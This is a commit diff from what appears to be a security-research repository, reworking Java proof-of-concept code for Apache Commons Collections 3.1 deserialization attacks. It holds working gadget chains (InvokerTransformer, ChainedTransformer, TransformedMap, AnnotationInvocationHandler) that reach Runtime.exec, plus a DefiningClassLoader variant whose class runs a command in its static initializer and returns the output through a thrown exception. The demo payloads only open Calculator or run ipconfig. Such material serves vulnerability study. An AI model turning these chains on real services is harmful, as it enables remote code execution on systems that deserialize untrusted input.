Skip to content

Commit 83c4de6

Browse files
author
xuanyh
committed
fix collections3
1 parent 47e24c8 commit 83c4de6

File tree

5 files changed

+81
-87
lines changed

5 files changed

+81
-87
lines changed

‎src/main/java/com/threedr3am/bug/collections3/no1/SerializeMapForTransformer.java‎

Lines changed: 1 addition & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ public static void main( String[] args ) throws Exception {
3030
new ConstantTransformer(Runtime.class),
3131
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
3232
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
33-
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"touch /_"}),
33+
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
3434
};
3535
Transformer transformer = new ChainedTransformer(transformers);
3636

@@ -40,8 +40,6 @@ public static void main( String[] args ) throws Exception {
4040
//测试TransformerMap在map的key、value改变中触发
4141
// testMap(transformer);
4242

43-
//测试重写readObject方法反序列化
44-
// testReadObject();
4543

4644
}
4745

@@ -79,24 +77,4 @@ private static void testMap(Transformer transformer) throws Exception{
7977
innerMap.put("2","orange");
8078
}
8179

82-
/**
83-
* 测试重写readObject是否可以在反序列化中优先执行
84-
*
85-
*/
86-
private static void testReadObject() throws Exception {
87-
A a = new A();
88-
//序列化
89-
byte[] bytes = SerializeUtil.serialize(a);
90-
A a1 = SerializeUtil.deserialize(bytes);
91-
}
92-
93-
}
94-
95-
/**
96-
* 测试readObject重写类
97-
*/
98-
class A implements Serializable{
99-
private void readObject(ObjectInputStream var1) {
100-
System.out.println("exec readObject");
101-
}
10280
}

‎src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime.java‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
import java.io.BufferedInputStream;
44

55
/**
6+
* 抛异常回显执行命令
7+
*
68
* Created by xuanyonghao on 2018/5/5.
79
*/
810
public class CallbackRuntime {

‎src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime2.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
import java.io.BufferedInputStream;
44

55
/**
6-
* 利用加载时自动执行
6+
* 利用加载时自动执行 & 抛异常回显
77
*
88
* Created by xuanyonghao on 2018/5/5.
99
*/
@@ -25,7 +25,7 @@ public static String exec(String cmd) {
2525
}
2626
static {
2727
if (true) {
28-
throw new RuntimeException(exec("ipconfig"));
28+
throw new RuntimeException(exec("/Applications/Calculator.app/Contents/MacOS/Calculator"));
2929
}
3030
}
3131
}

‎src/main/java/com/threedr3am/bug/collections3/no2/SerializeMapForTransformer.java‎

Lines changed: 72 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -16,71 +16,86 @@
1616

1717
/**
1818
* 此处基于Collections3.1中的TransformedMap利用漏洞，并进一步利用defineCLass构造回显,回显利用异常抛出带回，
19-
* 但由于DefiningClassLoader类所属jar包使用范围有限，而且AnnotationInvocationHandler的利用也仅限jdk1.8以下，
20-
* 使得这样的利用链可用性不高。
19+
* 但由于DefiningClassLoader类所属jar包使用范围有限，而且AnnotationInvocationHandler的利用也仅限jdk1.8以下， 使得这样的利用链可用性不高。
2120
*
2221
* Created by xuanyonghao on 2018/5/4.
2322
*/
2423
public class SerializeMapForTransformer {
25-
public static void main(String[] args) throws Throwable {
26-
// testCallbackRuntime();
27-
// testAnnotationInvocationHandlerForDefineClass();
2824

29-
//测试加载class时触发远程指令
30-
testCallbackRuntime2();
31-
//测试反序列化加载class时触发远程指令
32-
// testStaticClassInitForDefineClass();
25+
public static void main(String[] args) throws Throwable {
26+
//测试执行exec方法触发远程指令
27+
// testCallbackRuntime();
28+
//测试反序列化加载class时执行exec方法触发远程指令
29+
// testAnnotationInvocationHandlerForDefineClass();
3330

34-
}
31+
//测试加载class时触发远程指令
32+
// testCallbackRuntime2();
33+
//测试反序列化加载class时触发远程指令
34+
testStaticClassInitForDefineClass();
3535

36-
private static void testStaticClassInitForDefineClass() throws Exception {
37-
Transformer[] transformers = new Transformer[]{
38-
new ConstantTransformer(DefiningClassLoader.class),
39-
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}),
40-
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}),
41-
new InvokerTransformer("defineClass",new Class[]{String.class,byte[].class},new Object[]{"com.xyh.collections3.no2.CallbackRuntime2", FileToByteArrayUtil.readCallbackRuntimeClassBytes("target/classes/com/xyh/collections3/no2/CallbackRuntime2.class")}),
42-
new InvokerTransformer("newInstance",new Class[]{},new Object[]{})
43-
};
44-
Transformer transformer = new ChainedTransformer(transformers);
45-
Map inner = new HashMap();
46-
inner.put("value","value");
47-
Map ouputMap = TransformedMap.decorate(inner,null,transformer);
48-
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
49-
ctor.setAccessible(true);
50-
Object o = ctor.newInstance(Target.class,ouputMap);
51-
//序列化输出
52-
byte[] bytes = SerializeUtil.serialize(o);
53-
//反序列化
54-
SerializeUtil.deserialize(bytes);
55-
}
36+
}
5637

57-
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception {
58-
Transformer[] transformers = new Transformer[]{
59-
new ConstantTransformer(DefiningClassLoader.class),
60-
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}),
61-
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}),
62-
new InvokerTransformer("defineClass",new Class[]{String.class,byte[].class},new Object[]{"com.xyh.collections3.no2.CallbackRuntime", FileToByteArrayUtil.readCallbackRuntimeClassBytes("target/classes/com/xyh/collections3/no2/CallbackRuntime.classs")}),
63-
new InvokerTransformer("newInstance",new Class[]{},new Object[]{}),
64-
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"ipconfig"})
65-
};
66-
Transformer transformer = new ChainedTransformer(transformers);
67-
Map inner = new HashMap();
68-
inner.put("value","value");
69-
Map ouputMap = TransformedMap.decorate(inner,null,transformer);
70-
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
71-
ctor.setAccessible(true);
72-
Object o = ctor.newInstance(Target.class,ouputMap);
73-
//序列化输出
74-
byte[] bytes = SerializeUtil.serialize(o);
75-
//反序列化
76-
SerializeUtil.deserialize(bytes);
77-
}
38+
private static void testStaticClassInitForDefineClass() throws Exception {
39+
Transformer[] transformers = new Transformer[]{
40+
new ConstantTransformer(DefiningClassLoader.class),
41+
new InvokerTransformer("getConstructor", new Class[]{Class[].class},
42+
new Object[]{new Class[0]}),
43+
new InvokerTransformer("newInstance", new Class[]{Object[].class},
44+
new Object[]{new Object[0]}),
45+
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
46+
new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime2",
47+
FileToByteArrayUtil.readCallbackRuntimeClassBytes(
48+
"com/threedr3am/bug/collections3/no2/CallbackRuntime2.class")}),
49+
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
50+
};
51+
Transformer transformer = new ChainedTransformer(transformers);
52+
Map inner = new HashMap();
53+
inner.put("value", "value");
54+
Map ouputMap = TransformedMap.decorate(inner, null, transformer);
55+
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
56+
.getDeclaredConstructor(Class.class, Map.class);
57+
ctor.setAccessible(true);
58+
Object o = ctor.newInstance(Target.class, ouputMap);
59+
//序列化输出
60+
byte[] bytes = SerializeUtil.serialize(o);
61+
//反序列化
62+
SerializeUtil.deserialize(bytes);
63+
}
7864

79-
private static void testCallbackRuntime() throws Throwable {
80-
new CallbackRuntime().exec("ipconfig");
81-
}
65+
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception {
66+
Transformer[] transformers = new Transformer[]{
67+
new ConstantTransformer(DefiningClassLoader.class),
68+
new InvokerTransformer("getConstructor", new Class[]{Class[].class},
69+
new Object[]{new Class[0]}),
70+
new InvokerTransformer("newInstance", new Class[]{Object[].class},
71+
new Object[]{new Object[0]}),
72+
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
73+
new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime",
74+
FileToByteArrayUtil.readCallbackRuntimeClassBytes(
75+
"com/threedr3am/bug/collections3/no2/CallbackRuntime.class")}),
76+
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
77+
new InvokerTransformer("exec", new Class[]{String.class},
78+
new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
79+
};
80+
Transformer transformer = new ChainedTransformer(transformers);
81+
Map inner = new HashMap();
82+
inner.put("value", "value");
83+
Map ouputMap = TransformedMap.decorate(inner, null, transformer);
84+
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
85+
.getDeclaredConstructor(Class.class, Map.class);
86+
ctor.setAccessible(true);
87+
Object o = ctor.newInstance(Target.class, ouputMap);
88+
//序列化输出
89+
byte[] bytes = SerializeUtil.serialize(o);
90+
//反序列化
91+
SerializeUtil.deserialize(bytes);
92+
}
8293

83-
private static void testCallbackRuntime2() throws Throwable {
84-
new CallbackRuntime2();
85-
}
94+
private static void testCallbackRuntime() throws Throwable {
95+
new CallbackRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
96+
}
97+
98+
private static void testCallbackRuntime2() throws Throwable {
99+
new CallbackRuntime2();
100+
}
86101
}

‎src/main/java/com/threedr3am/bug/utils/FileToByteArrayUtil.java‎

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
package com.threedr3am.bug.utils;
22

3-
import java.io.File;
4-
import java.io.FileInputStream;
53
import java.io.IOException;
4+
import java.io.InputStream;
65

76
/**
87
* Created by xuanyonghao on 2018/5/5.
@@ -16,9 +15,9 @@ public class FileToByteArrayUtil {
1615
*/
1716
public static byte[] readCallbackRuntimeClassBytes(String classPath) throws IOException {
1817
//执行前先编译CallbackRuntime类得到class文件
19-
FileInputStream fileInputStream = new FileInputStream(new File(classPath));
20-
byte[] bytes = new byte[fileInputStream.available()];
21-
fileInputStream.read(bytes);
18+
InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream(classPath);
19+
byte[] bytes = new byte[inputStream.available()];
20+
inputStream.read(bytes);
2221
return bytes;
2322
}
2423
}

0 commit comments

Comments
 (0)